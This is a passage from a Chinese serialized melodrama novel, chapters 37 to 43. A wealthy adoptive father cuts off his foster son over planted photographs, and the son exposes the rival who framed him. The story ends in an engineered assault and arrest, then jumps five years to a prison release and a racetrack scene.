叶修明回家的时间比平时稍晚一些,若是平时,苏廷的电话一定早早打过去确认他的安全,但今天叶修明迟迟没能在校门口等到苏廷,和他的电话。 他想,一定是大爸的事情要让苏廷处理,唉……周叙白……为什么一定要处置那个阮治国?以后他自己的心理压力到底会多大? 即使苏廷不让他承受这么大的负担,自己能过得去心里的坎吗? 叶修明自责地吹着冷风,一时间连车都不想打了,而是改坐了地铁。他是从小到大让人伺候惯的,哪会坐地铁这种弯弯绕绕的东西,还是路过的好心人告诉他该怎么换乘,他才安然地到家。 他脱下鞋和外套后,蹑手蹑脚地向卧室走去,这不甚光明正大的动作在苏廷的眼中看来,也成了他罪行的侧面注脚。 可是苏廷远远没有心情从他蹩脚的动作入手,而是直接了当地说:“叶修明,等你到18岁,我们自动解除养父子关系。” 叶修明猛地回头,竟发现苏廷躲在最逼仄的角落中,穿着白天的深卡其色毛衣开衫,黑色高领打底,英俊的脸上是一副自怜自伤的表情,仿佛陷入无底的黑洞。 再仔细看,他已摘掉自己送的古币吊坠。 一定是有什么事发生了,小爸一定是怪我把周叙白送进了监狱。 叶修明见苏廷依旧不正眼瞧自己,被人抛弃的恐惧感再次像死神的手把他攫住,他第一个念头竟然不是“我没有肉吃了”,而是……苏廷竟然也会不要他。 “小爸……我……” “不许叫我小爸。”苏廷沉郁的双眼空洞冰冷,掷出的语句也是冰冷的,“你在外寄宿的这六年时间,我不会断了你的生活费、学费,但是我们也确实不必像之前那样毫无界限感了。” 叶修明突然有些微微发抖:“我跟你之间要什么狗屁界限感??你是我小爸啊!” 说话间,他大声的吼嚷扯到未完全伤愈的嗓子,让他剧烈地咳嗽,可他身体上的不适,依然没能换得苏廷一副好脸。 叶修明简直不知道自己该干什么了。 他知道周叙白的事情都是因为自己,那他承认错了不就好了,“小爸,如果可以的话我可以替大爸坐牢,以后我这条命也随他处置,我肯定不说二话!” 第38章 苏廷觉得可笑,就笑了,可那笑是阴寒的,不带温度的,让叶修明感到了前所未有的恐慌。 要知道他被叶淮安扔在路边之前,还被带着吃了顿大餐,如果让他好好回忆的话,叶淮安应该还有一丝不舍在身上的。 所以他到底做错了什么? 叶修明强忍着悲愤的泪水,再次重申:“我知道你肯定觉得我小孩子心性,刚才的那些话是随便说着玩玩的,但是大爸的事情我一定负责到底。” 苏廷不需要他担任何责任,只需要管好自己的嘴,管好自己的眼睛就行,他把那些照片甩在茶几上,说:“叶修明,是你非要让我揭穿你的,别怪我。” 叶修明快走了几步,狐疑地看向桌面,可能确实离得太远,叶修明不得不将照片拿起来看,殊不知这一举动,彻彻底底压垮了苏廷心中最后一棵稻草。 “这是……”叶修明翻着照片,脸腾的红了,“你怎么找到的?” 他确实从阮林那里截到了几张,但是……不对,为什么这桌上的竟然有这么多,是在他屋子里复制繁殖了吗? 苏廷冷哼一声,“叶修明,你不需要解释什么,我跟你之间到此为止。” 叶修明终于在照片的背面看见“爸爸,我好爱你”这几个字。 他几乎一瞬间就明白自己是被陷害的,声音抬高道:“这不是我的照片,也不是我写的!” “你刚才不是还问我到底是怎么找到的,叶修明,你不觉得自己前后矛盾吗?” 苏廷给佣人打了个响指,她就立刻走过来,架起叶修明的胳膊,让他的手在卸力之间扔掉照片。 叶修明眼光呆滞地快速在大脑中搜索着,忽然用尽全力道:“是裴星遥那个混蛋!是他到我房间放的!” “他这么做的目的呢?陷害你一个小孩,对他有什么好处?” 叶修明快速:“因为我想撮合你和温言玉,他记恨我!小爸!你千万要冷静听我说完!” “叶修明,”苏廷冷冷地说:“没想到,你连我跟谁在一起都觉得有本事改一改,是谁给你的底气?” 苏廷只觉得自己对叶修明厌恶极了,包括在证券大厦,当初叶修明也是突然消失了几分钟,谁敢保证他不是给上市委送照片呢。 说不定叶修明就是哪个仇家派来,让他的人生岌岌可危的。 这么想来,自己在叶修明身上所倾注的心血突然就变得可笑起来。 现在一定有人一边在品尝着胜利的香槟,一边嘲笑自己的傻帽。 他宁愿相信叶修明是敌人趁手的武器,也不愿相信那些字是叶修明写的。 一个还没上中学的小孩,就用这种方法来爱他吗? 可笑至极。 “叶修明,你也见过我对待敌人的方式,我还留着你的命你应该谢我。从今往后,你就是我的敌人。还有,我教你的最后一课,就是离别。” 说罢,苏廷就在急剧飙升的怒值里,回到了自己最可靠的堡垒。 另一个佣人立刻拿出行李箱,对叶修明淡淡地说:“苏先生已经给学校打好招呼了,可以节假日周末都住在那里。住不惯的话你可以去Threshold报自己的名字,但总之,这里就不要回了。” “他给你选的是最好的金湾公学,如果我是你的话,就要好好学习来报答他。” 如果苏廷真的认为照片背后的字是他写的,想必无论他怎么报答,苏廷心里都会有疙瘩,这个道理叶修明还是懂的。 罅隙已成沟壑,就算给他几年,他能跨过去吗。 “阿姨,小爸的家有没有监控?” “家里怎么会有那种东西啦,小叶,你只能祈祷你小爸的气能消得快一点。” 叶修明在佣人的陪伴下拖着行李箱回到学校,冬去春来,再至初夏,都没有看到苏廷的影子。 这期间他曾回过苏廷家,希望能跟他碰个正着,可惜苏廷在周叙白定刑之后,工作把空闲时间挤压得一点都不剩,他也有点疲于奔命的意思。 再至入学金湾,苏廷依然没有露面。 好在裴安看他可怜,最终也选择跟他在一所学校读书,周末带着叶修明一同回家。 有天电视在放西郊动迁的新闻,无意间看到苏廷在剪彩仪式上的身影,他一袭黑色长风衣,包裹得密不透风,用玉树临风都不足以形容他当时的风姿。 他身边围绕着数名陌生的人影,好像从某一瞬间苏廷的人生就打了破折号。 那一瞬间,应该就是周叙白失去自由的那天。 裴安磕着瓜子,大喇喇地翘着二郎腿,当他看到苏廷时,嘴里的瓜子皮都忘了吐,说:“修明修明你快看,这不是你小爸吗?” 叶修明一震。 裴安的父亲恰好从他们面前经过,看了眼电视新闻,说:“西郊的这个项目风险太大,业内评估都不大好,你小爸为什么非要抓这个项目?” 叶修明心想他就算想知道,也找不到人去问。 裴安:“爸,你懂什么?苏小爸可是这方面的专家,他看中的,一定错不了。” 裴安他爸把电视按下暂停,指着苏廷身后的巨型管道,“看看,单是拆除这些,就不是个小数目。”他用遥控器从屏幕下方划过,“污水呢?化工废料呢?他想怎么处理?这破地方根本不适合人居住,苏廷这次肯定要栽个大跟头!” “呸呸呸,”裴安道,他转向叶修明:“你别听我爸胡说,他怎么能跟上市公司的一把手相提并论呢?” “好,你们都对,就我是个傻子。说吧,今天想吃什么?我去给未来的一把手们露一手!” 叶修明条件反射似的起身,说:“叔叔,我来帮忙。” “看看你这孩子,懂事得让人心疼,这个苏廷,到底为什么不让你回家啊。” 裴爸言语间有些忿忿不平,可叶修明知道,真相是血沥沥的,他不会揭苏廷的伤疤。 他不相信时间会治愈一切的说辞,时间只能杀死希望。 “爸,你就别随便乱问了。”裴安继续按下开始键,他知道叶修明一定想多看苏廷两眼。 这时,裴家的门铃响起,裴父正好走到门廊,顺手就准备开门。 他问道:“谁啊?” “苏廷。” 第39章 苏廷这个名字对商界的人来说如雷贯耳,他冷冰的身影常年活跃在财经新闻里,当然,还有数年前的花边新闻,当年对那件事略有耳闻的几乎都通过自己的方式窥探到了照片的真容,所以当苏廷骤然出现在裴家的大门时,连裴安的爸爸裴清月都有点骇然了。 该怎么去面对苏廷呢? 这个问题同样困扰着叶修明,他已经接近一年没见到苏廷,说不想他,那叫放屁,可就算再想,似乎都是个无解的死局。 自己的思念是无形的勋章,空落落地无处安放。 少年的身量是以天为单位猛长的,叶修明比去年高了不少,面部开始现出棱角,但不至于太过锋利,苏廷似乎没有做好叶修明长大的准备,对着那张熟悉却带着几分陌生的脸愣了半天。 可他的眼神仍旧是淡漠的,又不着痕迹地转向裴清月:“裴兄,这些天叶修明叨扰到你们了,为表达谢意,这个暑假我给两个孩子定了去挪威的夏令营,请你务必接受。” 裴清月“啊?”了一声,说:“其实修明非常乖巧,根本谈不上打不打扰,只是……让修明去那么远的地方,你真的放心吗?” 苏廷快速道:“当然。”他用不容反驳的命令语气对叶修明说:“过段时间我会去外地待一两年,你从挪威回来就回家住吧。” 那个意思就是,反正我也不在家,就算你回去也无所谓。 裴清月都看不下去了,觉得苏廷太残忍,他把苏廷引到孩子们看不到的地方,微皱着眉说:“到底有什么过不去的,非要跟自己的养子置这么久的气。” 苏廷觉得他管得有点宽了,轻笑一声:“琐事,家事。” “那他不是你想领养的吗?既然当初做了决定,就要尽到为人父的责任。”裴清月说。 “裴兄,”苏廷的眼神中有一些说不清道不明的东西,算起来,应该是为难、恐惧和失望的结合体,“如果我过问你的家事,你会高兴吗?听说裴安的继母人选你已经选好了,为什么迟迟不动呢?” 裴清月这才发觉苏廷确实不打无准备的仗,自己家的这点破事他摸得明明白白,早就抓到了命脉,而他还不知轻重地想要劝别人。 真是可笑。 裴清月的脸上青白交加,小声规劝道:“他们这个年纪正是脆弱敏感的时候,你想让他一辈子都有心理阴影吗。” 他也强硬起来,道:“有什么话都给我好好说清楚,既然你来了,那就把修明接回家,好好跟他说说话。” “咣”的一声后,苏廷和叶修明都被关在门外。 苏廷冷冷瞟了他一眼,只觉得恶寒和难受,悲痛交加之中还有些绝望作祟,连自己的养子、一个刚刚青春期的少年都能对那些照片产生猥琐的想法,其他人呢?他去外地,真的不是为了躲清静吗? 所以今晚和此后的每天,他都不打算正眼瞧他,就算真有心理阴影,那也是他的自作孽。 叶修明看苏廷冷若冰霜的样子就知道一切解释都是徒劳,因此他也不打算赘述自己的无辜,转而用更为直接的方式去解决。 募地,叶修明捂住自己的肚子,装出一副就要死了的表情,咬着嘴唇说:“小爸,我肚子疼。” 苏廷斜睨了他一眼,蓄意轻慢着,心想怎么不疼死你。 “我说过,我不是你小爸。” “小爸!我的肚子真的很疼…!”叶修明可谓用心良苦地捧着小腹,哀怨无比地瞅着苏廷,“你带我去医院吧。” 苏廷冷漠道:“一到十,选一个作为你疼痛的数值。” “十……十点五…!” “真有那么疼吗?”苏廷不敢置信地说,“你如果骗我,应该知道后果。” 叶修明现在可太想被球杆打一顿了,只要他还有挨打的可能,他就有重新弥合关系的机会。 苏廷要的不就是个发泄出口吗?自己给他就是了。 “如果我装病,你想怎么揍我就怎么揍我。”叶修明道,“但前提是揍完你要听我解释。” 苏廷感觉自己在听天方夜谭。 并且他发现叶修明是在装病了。 “不如我们跳过去医院检查、我揍你一顿,你直接解释怎么样?” 话一说完,苏廷就知道自己上了当,他刚要收回尊口,就让叶修明这个小王八蛋抢先了一步。 “小爸,如果那些字真是我写的,如果我真的这么龌龊,为什么我跟你睡觉的时候没有干点什么。” 苏廷如临大敌:“你还想干点什么?!” “小爸,我是个毛都没长齐的孩子,裴星遥是不知道的,他想出这种办法给我泼脏水,是不懂人的生理构造吗?” 潜台词就是,“性”在叶修明这里是个伪命题,毕竟他还小,不谙世事。 苏廷还是不信,他不想把话挑得太明,自己像他这么大的时候,早已有了懵懂的悸动,虽不至于如成年时那样血气翻涌,但对亲密是有渴望的。 不算他想法龌龊,只是摆出事实而已。 苏廷只是淡定地摇了摇头,“我们结束这个话题吧。” 裴清月让他把叶修明带回家聊聊,既然他这两件事都做了,就没有再待在家里的必要,他给佣人嘱咐了两句就准备去Threshold,那里永远有一间独属于苏廷的套房。 许是叶修明感受到了他要离开,急匆匆地挡在苏廷和门之间,气喘吁吁地说: “小爸,为什么我说什么你都不信我?” “叶修明,有些事情说得太清楚,就不好看了。”苏廷笑道,“还有些事情,即使说清楚,也没有实际意义。” “比如,你的父母就算说清楚为什么抛弃你,就能改变你现在在我家里的事实吗?”苏廷说,“我只是没想到,自己会领回来一条中山之狼,这是我苏廷这辈子做的最错的一件事情了。” 就算自己真对苏廷有那种想法,就一定要恼羞成怒成这样吗? “那苏小爸,你把我扔回河边吧,就当我们从来都没有认识过!” 第40章 苏廷想到还在监狱里服刑的周叙白,脸色像刷了层白漆,说:“如果有重新来过的机会,我一定不会让周叙白踩那脚刹车,把你领养回家。叶修明,我说过,法律不能让我做的事情,我不会做,但我们情感上的链接已经断了。” 这次的不欢而散着实让叶修明唉声叹气了几天,他人虽然在苏廷家里,却有种多余的感觉,这种多余在苏廷再次把裴星遥带回家之后达到了峰值。 裴星遥这次竟然给叶修明带了礼物,是成千块的街景乐高,这东西叶修明六岁时就拼够了,再加上他对裴星遥的印象之差,所以接过来的时候表情生硬,还差点翻了个白眼。 裴星遥觉察出苏廷与叶修明之间微妙的关系,好像想缓和什么似的,对苏廷说:“要不我们带修明去游乐场吧。” 苏廷冷言以对:“不用了,他不喜欢。” “那我们……” “星遥,去我房间吧。”苏廷冷不丁地说,手指已然勾上裴星遥那条特地搭配的腰带,叶修明呆滞在暧昧的氛围里,眼巴巴看着裴星遥亦步亦趋地被苏廷牵了进去。 叶修明只能嚼碎了牙齿往肚里吞,苏廷是个有选择权的成年人,既然他选择跟那个坏人一起排挤自己,他就应该无条件地忍受。 只是,苏廷如此惩罚自己的原因还有什么?一定还有一部分在他认知的盲区。 叶修明凭借记忆力,拨打那个许久未拨的号码——钟祥。 那是叶淮安的得力助手,叶修明也不知道他会不会被卷进父亲的案子里,只是下意识地求助于他。 “嘟……嘟……” 隔了像有一个世纪那么久之后,接通了,钟祥压低声音,问道:“你是谁?” “钟叔,是我。” “叶修明?!你还活着??”钟祥又惊又喜,“你现在到底在哪里,我去接你!” “大家都自身难保,接我干什么。”从钟祥那句“你还活着”,叶修明就明白当初叶淮安扔下他不管,也没想让他真活着回去,这么想想,他也就对自己单方面的失联释怀了。 钟祥的境地的确有点让人头大,检察院一轮接一轮地过来查他,想坐实叶淮安的罪行,还有郑力书记,那一家子才是不好惹的祖宗,恨不得这会儿把姓叶的全都生吞活剥了。 他们早就不是利益共同体,而是牵一发而动全身的连坐关系。 钟祥这才猛然想起,千万不能让姓郑的知道叶修明的下落,否则狱中的叶淮安只能以死谢罪了,这点道理他还是懂的,不然当年叶淮安也不会脑子昏头非要抛弃叶修明。 “不过修明,你现在到底在哪里?”钟祥说,“你可以放心告诉我,我不会给其他人说的。” “钟叔,我想让你帮我一个忙。” 钟祥疑惑道:“什么忙?” “我想让你带我去崖石山监狱,我想看一个人。” “崖石山……”那也不是叶淮安的看守所,钟祥问:“你在监狱还认识什么人吗。” “嗯,他是我的好朋友,叫周叙白,能帮帮我吗?”叶修明对周叙白的愧疚难抑难止,几乎在提到这个名字的当场就哽咽了。 钟祥:“好,修明,我马上帮你联系,你放心,等我的答复,很快的。” 叶淮安在政界商界都留下不少的人脉,找到某家监狱的犯人可谓掌中之物,很快他就跟叶修明约好时间见面。 “修明!”钟祥是个看起来方正的中年男人,给人很强的安全感,远远看到叶修明就打了招呼,事隔多年叶修明终于见到叶淮安的人,眼尾拖起了红痕。 “钟叔,我爸还好吗?” “他还在坚持,希望能坚持得住。”钟祥哀叹一声,“当年事发突然,他以为性命不保了,才把你丢在大街上,什么都没留给你。” “不过他给你留了信托基金,等你满12岁就能取出本金的5%,当然,还有些防挥霍条款,超过两亿限额就会强制终止信托,有可能还会损害你的继承权。” 叶修明心想,这些绝不是他想要的。 钟祥给叶修明戴了个鸭舌帽稍作伪装,压低帽檐后,说:“待会儿你就说是我的侄子,不要轻易把帽子摘下。” 叶修明许久没感受到关心了,此时竟头一回抱住了钟祥,顺便在他的白色衬衣上擦拭眼泪。 “你要相信你爸爸是有苦衷的,等他顺利逃过这一劫后,一定会接你回家。”钟祥在狱警的带路下跟叶修明并排走进接见室,隔着玻璃隔断能看到男人满脸憔悴,唇色苍白,他看到是叶修明造访显然有些惊讶。 周叙白率先拿起电话,指了指叶修明面前的电话,示意他拿起来,他说:“你怎么来了?苏廷呢?” “小爸不要我了。” 周叙白:“为什么?” 叶修明看了眼钟祥,“钟叔,能给我俩一点时间吗?” 钟祥和蔼地笑了笑,带着个狱警一起走了。 叶修明强忍住屈辱,把苏廷如何发现照片,和照片上的文字等,一股脑地告诉给周叙白,最后补充道:“大爸,我发誓,我只在学校拿到过几张,但那是为了不让小爸的照片二次传播,从没有这么大的量,也不可能写那种猥琐的东西。” 周叙白有些不敢相信自己的耳朵,“怎么那么像我们在上市委收到的照片。” “上市委?” “哦,就是答辩那天。你知道答辩对于苏廷的意义有多大,也就知道当那些照片出现后,苏廷会第一次有焦灼的感觉,他甚至觉得连IPO都会失败。”周叙白道,“你那天也在现场……还消失了几分钟。” 他露出怀疑:“真不是你吗?” “大爸,我可以去找证据。”叶修明最怕苏廷的怒火不知燃自于何处,但现在既然知道了症结,就一定能抓住软肋。 周叙白“唉”了一声,“其实我知道,怎么可能是你呢,你那点心眼只够自己吃饭的,这么整苏廷实在没有理由。但苏廷想不开一定有他的原因……也许是因为那些字的原因,那些字即使不代表你的真心,也让苏廷产生后怕。他自己是同性恋,还是那么……的同性恋,领养一个男孩,本来就带了些禁忌,也许是他在刻意保持距离。” “大爸,”叶修明已流了些晶莹剔透的泪,显得我见犹怜,“可我什么都不懂,他太残忍了。” “我都说了裴星遥有可能是栽赃陷害我的人,他还跟裴星遥一起去卧室!” 周叙白面上现出一丝苦涩:“毕竟他是自由的。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 苏廷是冷情冷性的人不假,他不喜欢过多地与红尘纠缠也不假,可他对裴星遥有几分愧疚,总觉得他窃取了裴星遥的人生,所以周叙白知道这次不一样。 虽然没想到苏廷会用自己的身体去换取谅解,但这就是苏廷,爱憎分明,也分得清孰轻孰重。 叶修明的童言无忌无意间将裴星遥和苏廷的关系暴露给了自己,下一步,就是他在这非人的煎熬里,度过余下的每一日。 好在,叶修明知道那500万的事情与他自己息息相关,道了歉,也道了谢,最后说:“大爸,以后我的命都是你的。” 周叙白惨笑:“我要你的命干什么。” “总有……用到的那一天。”叶修明向他鞠了一躬,同钟祥离开了。 钟祥这才有机会问他:“你养父到底是谁?” “他叫苏廷,是对我最好的人。” 叶修明不是吃素的,他平平无奇一初中生,却有钟祥这样的超强助力,给上市委邮寄的东西很快就锁定寄方,是龙城的一家微型企业。 钟祥还算给力,查出那就是裴星遥注册的公司之一。 就这样,叶修明终于觉得自己要大洗冤屈,当他拿着完整的证据链找到苏廷时,脸上抑制不住地狂喜。 “小爸,我看你这次还信不信裴星遥。” 苏廷见他表情认真,不像是唬自己玩的,便拿起那些资料,挨个查看。 看完后,他不露声色地说:“我知道了。” 叶修明想抓住这最后的稻草,挣扎道:“小爸!现在已经证明了我不是照片的主人,你还要惩罚我吗?你还是不想认我吗?” 苏廷微微启动唇齿,却不发一言,似乎还在被某种不可言说的情绪攻击着。 当自己再次遭遇背叛的时候,叶修明竟成了见证者。 可他不想承认自己的败北,起码不能在叶修明面前,于是他甩开这些证据,言辞凿凿地说:“我没有亲眼见过的事,都是假的。” “那你亲眼看见我在照片背后写字了吗!” 叶修明很想跑过去咬他几口,让他从这场酣畅淋漓的背叛里汲取疼痛,于是他照做了,让苏廷本就弱不禁风的身体猝然受到惊吓。 那疼,是剜心的。 “叶修明!你住口!” 叶修明被喝得失去了理智,牙齿在苏廷的手上越陷越深,渐渐地,苏廷感受到了皮肉被生生撕裂的疼,那处被叶修明咬过的地方,渗出了血。 “起来,我要出去了。” 苏廷忍着剧痛,再看了眼杀红眼的叶修明,心道这次应该该打狂犬疫苗了。 叶修明不想让苏廷就这么不明不白地出去,冒出了一个极为阴狠的想法——他要把苏廷关起来。 只要关起来,他就不会再去找裴星遥。 那个垃圾,找了又能如何,早点带他去垃圾处理厂吗? “小爸,这是你逼我的。”叶修明缭乱纷杂的大脑已经不允许他再拥有理智,推拉着几近麻木的苏廷,将他关在了卧室里。 “砰”的一声后,叶修明退守到了房门之外,并用钥匙将那门反锁。 苏廷在房间里抱着头,怅然无尽地盯着窗外发呆。 夏初的金城花开满地,如一场不散潮的绮梦。 他想到那个风寒料峭的午后,叶修明用尽所有力气想把冰层砸出洞来,他就应该知道,这小子力气不小。 裴星遥的事情他看了个七七八八,确实是他做的不假,所以苏廷有理由为自己单方面的倾注心血默哀几分钟。 叶修明找人查上市委的邮件也不假,可他才上中学,哪里来的能量? 既然找到了与前尘旧事链接的途径,或者人,为什么还要找他呢? 自己这里仅能提供衣食住行,没有任何情感上的附加值,叶修明执着地想要获得认同,获得喜欢,为什么呢? 他完全可以回家,找到亲生父母,他缺的一切就都补全了。 “叶修明,你诚实地回答我几个问题,好吗?” 叶修明蹲坐在门板前,抱着双腿,闻声侧过耳朵,说:“你说吧。” 苏廷道:“你到底是谁的儿子?” 叶修明:“我是你的。” 苏廷不满意这个答案,于是摇了摇头,兴味索然地开口:“我是说亲生父母。” 恐惧暗中揪紧了叶修明的心,分别的时候钟祥一再强调不能告诉任何人父母是谁,就算是他的养父也不可以,所以叶修明藏着也掖着,“我忘记了。” “你忘记了,还是忌惮让我知道。” 叶修明敲了下门板,说:“都有,别逼我了小爸。” “都说了一百遍,我不是你小爸。” “我好想进去抱抱你。” “你已经把我关起来了不是吗。” 叶修明颤声说:“对不起。” 意识到他们的关系并没有缓和的叶修明,心情沉入了谷底,呼吸维艰,面如菜色地想要用眼睛射穿那门。 然后他就陷入深深的忏悔——他做错了事。 一件大错特错的事。 他不该,且不能把一个遭受过创伤的人锁在屋里,他做的事,跟那些伤害他的人又有什么区别? 自己不也是禽兽吗? 叶修明转动着钥匙,轻声打开门,眼光刚要触到苏廷的时候,发现苏廷下意识地向后微微瑟缩了一下。 那是惧怕的意思。 叶修明什么都明白了,他很懂事地道:“我这就回学校,等我18岁的时候,你再决定要不要我这个儿子,好吗。” 苏廷冷漠地忽闪着眼睛,兀自拿出一张银行卡,并把护照给了他。 “从今往后,你想去哪就去哪吧。” 叶修明知道一切都为时晚矣,只接了护照,说:“我有信托,钱就不必了。” 这还是叶修明第一次在苏廷面前暴露自己的家境,令苏廷微微一震。 苏廷问道:“你后悔吗?” 叶修明:“后悔什么?” “被我领养。” 叶修明茫然若失地看着他,说:“你呢。” 苏廷的眼神已经不能闪动,眼底也有些发热,“有些答案,本身就没有意义。” “所以,你后悔。”叶修明的头皮刺痛,会心一笑。 苏廷笑道:“我当然后悔,修明,我本身就没有爱人的能力。” 第42章 叶修明心说你有,只是不愿承认罢了。 他没有耽搁,没有辞别,收拾了几件最喜欢的衣服就走了,苏廷的眼光很好,这些都是苏廷替自己挑的,留个念想,总比什么都没有要强。 而苏廷坐在房里,用声音分辨他的动向,最后确认大门关掉之后,才从卧室探出个头来,眉际淡淡地扫过一片阴云。 很快他就从望眼欲穿的动作恢复了正常,知道说出去的话如同覆水难收,他不会打脸式的收回。 苏廷爱人的能力没有,恨人的水平却是一绝。 他约着裴星遥到Threshold的套房,门后挂着他心爱的几支球杆。 裴星遥明显精心打扮了一番,眉目光鲜,星眸点漆,像是在迎接大餐一样给了苏廷一个大大的拥抱。 他说:“我还以为你永远都想不开,没想到这次这么主动。” 苏廷一脸镇定地关上房门,裴星遥这才发现那些球杆的存在,正恍惚愣神呢,苏廷的闷棍就捶了下来,正中后膝,卸力后裴星遥向前失去重心,竟跪了下去。 为防止他继续乱动,苏廷将杆底横在他的后脑,只消动一下,苏廷就会毫不犹豫地把他打晕。 “你……你想干什么?” 苏廷嗤笑一声:“我一直都不明白,裴星遥,你为什么一边恨我,一边还想睡我呢?” 裴星遥举起手来,坦白道:“我怎么会很你呢??你是听谁瞎说的。” 苏廷:“你给上市委寄我的艳照,还在叶修明的房间也放了照片,这段时间网上的照片越来越多,也与你有关系,你能告诉我为什么吗?” 裴星遥:“胡说!是不是叶修明那个臭小子编排我??” 苏廷将给上市委的邮件面单甩给裴星遥,“寄件地址龙城华人商贸有限公司,法人是你吧。” 裴星遥捏着面单的衣角,发狂似的把它撕碎。 一声轻蔑的冷哼从苏廷的喉间发出,他将散布照片的网络IP地址依次读给裴星遥,然后说:“没想到你注册这么多公司,都是为了传我照片。” 裴星遥知道大势已去,也哼了一声,说:“别给自己的脸上贴金,我的这些公司都是为生意服务,你的艳照,只是顺手的事。” 他将重音放在“艳照”上,试图激怒苏廷。 而苏廷,也确实被惹怒了,他甩着7号铁杆,好像在测量从哪个位置下手更疼,裴星遥朦胧着星眼,似在感受铁杆带来的阵风,募地,他笑得前仰后合,那笑,看起来异常可怕。 “你笑什么?” “我笑你又给我一个把柄,苏廷,你不是挺谨慎的吗。”裴星遥说,“上市公司老总殴打曾经的大学同学,这怎么不算爆炸新闻呢。” 苏廷笑了笑,“你也知道自己是我的大学同学,这就是你表达同学情的方法吗。” “当然不是,睡你才是。”裴星遥打了个响指,大无畏地说:“来吧。” “裴星遥,你就这么恨我。” 裴星遥的视线瞬间脱缰,遥想着当年给同汇银行递贷款资料的情形,自己明明资质、业绩甚至名声都比苏廷要好,可那银行经理却因为垂涎苏廷的美色,而昧着良心给他批了。 他怎么才能释怀呢? 裴星遥只能守着自己那些左手倒右手的公司,做流水,做业绩,妄图再有银行放贷,可惜,自己就像被扔进了黑名单,迟迟不见真金白银流出来。 他只能将这一切归咎于苏廷的好脸蛋。 那就索性毁掉。 裴星遥说:“我恨你年少有为,恨你有鸿途大业,我很死了,苏廷。” 忽然,苏廷将铁杆扔在地上,“我给你一次表达恨的机会。” 裴星遥的双手双脚并没被桎梏住,此时更没有铁杆在脑后威胁自己,想弄死苏廷他只需要迈出第一步就行! 他像被恶魔缠了身,狂妄无当地拾起球杆,失心疯似的朝苏廷打去。 一下、两下、三下…… 那铁杆打在血肉之躯上的声音沉闷而厚重,不一会儿,裴星遥的眼睛就让这次快意十足的殴打染红了。 “住手!” 随着房门锁被打开的声音响起,两位警察踹开了门,而执法仪则精准地捕捉到裴星遥打红了的双眼。 裴星遥被铐上手铐,地上的证据也被警察网罗带走,有位警察对着伤痕累累的苏廷说:“我建议你早点去医院看看。” 苏廷点了点头,却没从心里认可他们。 他太需要这次痛彻心扉的疼了。 这让他能明确地意识到,自己还活着,还在像个臭虫一样呼吸着世界上的每一寸空气。 他自言自语道:“还是叶修明的办法好用。” 苏廷当然知道当初施方逸的杯子是叶修明踹倒的,唯有这样才能逼迫他成为真实的自己。 这几年,他一直都知道叶修明是个聪明的孩子,可是聪明的孩子,竟然参不透自己为什么不能跟他做正常的父子。 等到18岁,就正式解除吧。 时间像吸干了的血一样逝去,无声无息地来到了五年后。 金城迎来了初冬的第一场雪,雪花似月光跌碎在大地,整个城市都飘逸若仙,却透着一股逼人的寒气。 苏廷还保持着五年前的面容,丝毫没有任何改变,只是如这漫天的大雪一般,冷肃而持重,他惊鸿的一瞥,依旧让人魂牵梦绕。 周叙白拎着个超小塑料袋,站在监狱的大门口,远远看到那个入他魂梦的身影时,一颗心剧烈地震颤起来。 他每每入睡,总会以苏廷其名为伴,仿佛多念几遍,这个人就是他自己的。 可是多年的监狱生活已让他丧失对一切的信心,周叙白觉得自己甚至不能在苏廷身边好好开次玩笑了。 苏廷率先打破沉默:“周叙白,你看起来好像老了。” 周叙白摸着自己的后脑,有点不好意思,“你还是一点都没变。” 他等着苏廷缓缓走近,目光深邃地盯着他一动不动,刹那间,压在苏廷心头的重压倾泻而出,压得他透不过气来。 苏廷一把就将周叙白抱在了怀中,并用右手摩挲着他的脖颈,说:“都结束了,结束了。” 第43章 苏廷接过他的“行李”,惊愕地说:“你就这么点东西?” 周叙白点了点头。 “你想吃什么?这次你来挑地方。”苏廷有些心疼地看着他,前脚刚踏进迈凯伦的驾驶位,周叙白立刻把他拉了出来,说:“保镖都回来了,还要自己开车?” 苏廷便坐在副驾驶,“你不是我的保镖。” 周叙白微微低下头,边怔愣着,边启动车子,他把着方向盘,都有些不熟悉金城的路,还走错了几个岔路口。 他深深地看了苏廷一眼,“这几年过得怎么样?” 苏廷:“勉强过得去。” “儿子呢?” 苏廷蹙了下眉:“不知道在哪鬼混。” “你还放不下那件事吗。”周叙白说。 苏廷:“没什么放下放不下的,叶修明的事情对我来说不重要。” 前几年,苏廷还定期不定期地去崖石山探监,也知道叶修明曾找过周叙白,知道是周叙白给他说的上市委的事情,所以才有后来叶修明找人搜集证据。 但周叙白烦就烦在每次必谈叶修明上,导致苏廷最后一想到去崖石山就感到发怵,索性不去了,所以这次见面,至少与上回相隔了三年。 只听周叙白说:“我想儿子了,你得让我见见他。” 苏廷这几年断断续续接收过不少叶修明的明信片,无非是他在世界各地往回寄的报平安的信件。 叶修明还选了一所芝加哥的学校而非金湾公学读高中,这也解释了叶修明鲜少在金城露面的原因。 如果按照这个节奏,叶修明恐怕要在美国常住了。 苏廷道:“我建议你找个地方睡一觉,说不定在梦里能见到他。” 周叙白感慨:“现在我都还记得在冰河上抱着他的感觉,他那么轻,那么小,那么可怜,如果我们晚到一步后果都不堪设想。” 苏廷斜睨着他,眉际有阴云:“周叙白,你好好开车。” * 沪市国际赛车场内,一辆银色帕加尼正和轩尼诗毒液你追我赶中,上千匹数的马力发出如雷贯耳的轰鸣声。那辆帕加尼的动力比轩尼诗毒液要差一些,但它更为灵活,漂移、摆尾一气呵成,无不彰显车手娴熟的车技。 这条赛道常年举行F1赛事,费用昂贵,几圈就是六位数的场地费,管理员却说整个赛车场都被一位裴姓车手包了半天,来咨询的咋舌半天,发觉确实小瞧了富人的战斗力。 两辆车正在并排冲刺、卡位,尾气贯穿在空气中,更显赛况紧张,只见轩尼诗毒液上的车手伸出一个大拇指,对帕加尼点赞,而后者则喷出蝎子型的四出排气,让冷金属迸发出炽热灵魂,一骑绝尘而去。 赛况立刻见了分晓。 裴安从轩尼诗毒液上一跃而下,做手势让帕加尼退回来,等待的过程中,给叶修明竖了个中指。 叶修明一身浅色赛车服,笑容恣意地摘去头盔,汗湿发根的额发突然瀑坠,在眉心颤动,那张脸就在半遮半掩下,露出具有原始侵略性的面容,下颌线紧绷,如拉满的复合弓弦,总之,叶修明不知从何时起,已经褪去青涩的面容。 裴安不满地说:“咱俩到底是谁要参赛,你这么赢我,有意思吗?” 叶修明边走边拉开赛车服的拉链,露出一小截精瘦结实的脖颈,说:“有意思。” 裴安道:“我看你就是喜欢赢而已。” 